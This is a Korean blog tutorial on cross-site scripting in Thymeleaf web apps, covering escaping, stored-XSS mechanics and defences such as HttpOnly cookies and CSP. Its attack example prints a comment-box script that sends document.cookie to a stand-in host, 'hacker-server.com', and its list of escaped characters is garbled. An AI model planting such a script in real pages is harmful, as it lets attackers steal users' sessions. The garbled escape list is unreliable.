서론
내가 만든 어플리케이션은 언제든지 해커로부터 공격을 받을 수 있다. 이러한 공격의 패턴과 방식들에는 여러가지가 있지만 그 중 하나는 XSS 공격이다.
XSS 는 쉽게 말하면 해커가 자바스크립트 코드를 웹페이지에 심어 사용자의 정보를 탈취하는 종류의 공격이다. 일반적으로 웹 어플리케이션들은 사용자로부터 데이터를 입력받게 되는데 이 데이터에 해커가 자바스크립트 코드를 심어 놓을 수 있는 것이다.
쉽게 생각해 게시판에 글을 쓴다고 생각해보자. 글 내용에 해커가 자바스크립트 코드를 심어 놓고 사용자들이 이 글을 보면서 동시에 자바스크립트 코드가 실행되어 해커가 원하는 것을 얻을 수 있게 된다.
물론 이런 공격은 많이 알려져 있기 때문에 대부분에 이와 같은 입력은 사전에 필터링을 통해 차단한다. 그럼에도 불구하고 이와 같은 공격에는 여러가지 우회 방법이 존재할 수 있기 때문에 튼튼하게 방어해 놓지 않는다면 위험이 늘 존재하는 것이다.
Thymeleaf 에서의 XSS 테스트
Thymeleaf 에는 XSS 를 막아주는 필터링이 들어가있다.
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Getting Started: Serving Web Content</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
회원 리스트
<tr th:each="user : ${users}">
<td th:text="${user.name}"></td>
</tr>
</body>
</html>
타임리프에서의 th:text
문법은 HTML 이스케이프 라는 과정을 자동으로 수행하기 때문에 XSS 공격을 방어할 수 있다.
사용자가 입력한 데이터에 포함될 수 있는 악의적인 스크립트 태그(<script>
, <img
등)를 브라우저가 실행하지 못하도록
의미 없는 일반 텍스트로 변환해주는 것이다.
th:text
는 이런 위험을 막기 위해 HTML 에서 특별한 의미를 갖는 문자들을 다른 문자로 치환(Escape) 한다.
예를 들면
- & 는 “&”; 로 변환됩니다.
- ” 는 “"”; 로 변환됩니다.
- ’ 는 ”'”; 로 변환됩니다.
따라서 공격자가 <script>alert('XSS');</script>
라는 값을 입력해도, th:text
를 사용하면
실제 렌더링된 HTML 소스는 다음과 같이 보인다.
<script>alert('XSS');</script>
브라우저는 < 나 > 를 HTML 태그의 시작과 끝으로 해석하지 않고, 단순히 ’<’ 와 ’>’ 라는 문자 그대로 화면에 보여준다. 결과적으로 스크립트는 실행되지 않고, 사용자는 안전하게 데이터를 볼 수 있다.
반면에 th:text
가 아닌 th:utext
와 같은 문법의 경우는 앞서 배운 이스케이프 과정을 의도적으로 생략한다.
따라서 개발자가 신뢰할 수 잇는 데이터라고 확신 하는 경우에만 제한적으로 사용해야한다.
사용자의 입력을 th:utext
로 출력하는 것은 매우 위험하며 보안적으로 취약하다.
근데 해커는 어떻게 내 사이트에 스크립트를 삽입하는 걸까?
해커는 사용자가 데이터를 입력할 수 있는 모든곳을 공격 경로로 삼는다. 웹사이트에서는 로그인 페이지 , 글쓰기 페이지 등 여러 입력창을 제공하는데 , 바로 이 부분들이 해커의 목표가 된다.
그리고 이러한 문제는 웹사이트가 사용자의 입력을 아무런 의심이나 필터링 없이 그대로 저장할 때 비로소 문제가 된다.
공격 예시
-
해커는 당신의 웹사이트에 방문하여 댓글 창이 있다는 것을 확인한다.
-
해커는 다른 사용자의 쿠키(로그인 정보)를 훔쳐서 자신의 서버로 전송하는 간단한 스크립트를 작성한다.
<script>
// 현재 사용자의 쿠키를 가져와서 해커의 서버로 전송
fetch('http://hacker-server.com/steal?cookie=' + document.cookie);
</script>
<p>이 글 정말 유익하네요!</p>
-
해커는 이 코드를 댓글 창에 입력하고
등록
버튼을 누른다. -
당신의 웹 서버는 이 댓글이 악의적인 스크립트 라는 것을 인지하지 못하고 , 데이터베이스에
<script>..
코드를 그대로 저장한다.
그렇다면 삽입된 코드는 어떻게 다른 사용자에게 사용되는가?
아까 저장된 이 악성 스크립트는 다른 선량한 사용자들을 공격한다.
다른 사용자가 악성 스크립트가 저장된 페이지를 요청하면, 서버는 스크립트를 정상적인 HTML의 일부인 것처럼 사용자에게 전송하고, 브라우저는 그대로 악성 스크립트가 삽입된 그 HTML 을 실행한다.
-
아무것도 모르는 일반 사용자가 당신의 웹사이트에 방문하여 해커가 악성 댓글을 단 게시물을 클릭한다.
-
사용자 A의 브라우저는 서버에게 이 게시물 페이지를 보여달라는 요청을 한다.
-
서버는 데이터베이스에서 게시물 내용과 댓글들을 가져와 HTML 페이지를 만든다. 이때 해커가 심어둔
<script..
코드도 HTML 에 포함되는 것이다. -
서버로부터 응답받은 HTML 페이지를 사용자 A의 브라우저가 렌더링 하고, HTML 태그들을 순서대로 읽다가
script..
태그를 만나면 , 이것이 웹사이트의 정상적인 기능이라고 생각하고 아무 의심 없이 스크립트를 실행한다. -
실행된 스크립트는 사용자 A의 브라우저에 저장된 쿠키 정보(로그인 세션 정보 등)을 몰래 가져와 해커의 서버로 전송한다.
-
해커는 훔친 쿠키 정보를 이용해 사용자 A의 계정으로 로그인하여 개인 정보를 빼돌리거나 악의적인 행동을 한다.
보안 공격을 막을 수 있는 방법들은 뭘까?
위와 같은 공격은, 쿠키에 HttpOnly 설정을 하면 막을 수 있다.
쿠키에 HttpOnly 설정을 하게 되면, JavaScript 코드로 쿠키에 대한 정보를 얻을 수 있는 방법이 아예 사라진다.
즉, document.cookie
를 사용해도 쿠키가 조회되지 않는 것이다. 이를 활용해 XSS 공격으로부터 막을 수 있다.
토큰을 LocalStorage 에 저장하면 XSS 에 취약해진다.
토큰을 LocalStorage 에 저장하게 되면, JavaScript 코드 (localStorage.getItem()) 로 토큰에 대한 정보를 쉽게 얻을 수 있게 된다. 쿠키와는 다르게 LocalStorage 에는 HttpOnly 와 같은 설정이 없어서, XSS 를 막을 방법이 없다. 이 때문에, 토큰을 LocalStorage 가 아닌 Cookie 에 저장할 것을 권장한다.
애초에 데이터가 저장될 때 비정상적인 데이터는 입력 값 검증을 통해 차단하는 것이 좋다
예를들어 , 이름 필드에 >
나 <
와 같은 특수문자가 들어오지 못하도록 막는 것이다. 이는 XSS 뿐만 아니라 데이터 정합성을 지키는데도 중요하다.
보안 헤더 설정
백엔드는 API 응답시에 HTTP 헤더에 CSP(콘텐츠 보안 정책) 을 설정 할 수 있다.
이것은 브라우저에게 “이 사이트에서는 인라인 스크립트를 실행하지마!” 또는 “오직 trusted-scripts.com
에서 온 스크립트만 실행해” 와 같이 매우 강력한 규칙을 전달하는 것이다.
프론트엔드에서 실수로 취약점이 발생해도, 브라우저 레벨에서 공격을 한번 더 막아준다.